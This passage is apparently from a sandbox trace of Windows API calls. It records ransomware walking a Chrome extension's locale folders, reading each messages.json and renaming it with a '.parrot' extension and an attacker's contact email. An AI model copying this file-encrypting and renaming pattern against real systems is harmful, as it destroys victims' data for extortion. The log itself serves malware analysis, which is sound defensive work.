fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.826] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb84beac0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb84beac0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.827] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb84beac0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.827] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.828] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.828] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.829] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.829] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.829] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.829] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cc, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.829] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.829] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.830] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.830] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb4, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb4, lpOverlapped=0x0) returned 1 [0071.830] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.830] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.830] CloseHandle (hObject=0x28c) returned 1 [0071.831] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.833] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.833] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb84beac0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb84beac0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.833] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb84beac0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.833] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.833] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.833] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.833] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.833] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.833] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.834] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d3, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.834] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.834] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.835] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.835] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xbb, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xbb, lpOverlapped=0x0) returned 1 [0071.835] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.835] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.835] CloseHandle (hObject=0x28c) returned 1 [0071.836] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_br\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.838] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.839] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb84beac0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb84beac0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.840] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb84beac0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.840] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.886] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.886] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.886] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.886] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.886] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.886] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1de, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.886] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.887] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.887] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.888] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xc6, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xc6, lpOverlapped=0x0) returned 1 [0071.888] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.888] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1de, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.888] CloseHandle (hObject=0x1fc) returned 1 [0071.889] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_pt\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.891] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.891] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8557040, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8557040, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.891] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8557040, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.891] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.891] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.891] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.891] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.891] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.892] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.892] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c7, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.892] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.892] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.893] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.893] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xaf, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xaf, lpOverlapped=0x0) returned 1 [0071.893] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.893] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.893] CloseHandle (hObject=0x1fc) returned 1 [0071.894] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.896] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.896] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8557040, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8557040, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.896] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8557040, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.896] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.925] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.925] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.925] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.925] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.925] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.926] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x231, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.926] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.926] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.927] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.927] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x119, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x119, lpOverlapped=0x0) returned 1 [0071.927] SetFilePointerEx (in: hFile=0x28c, 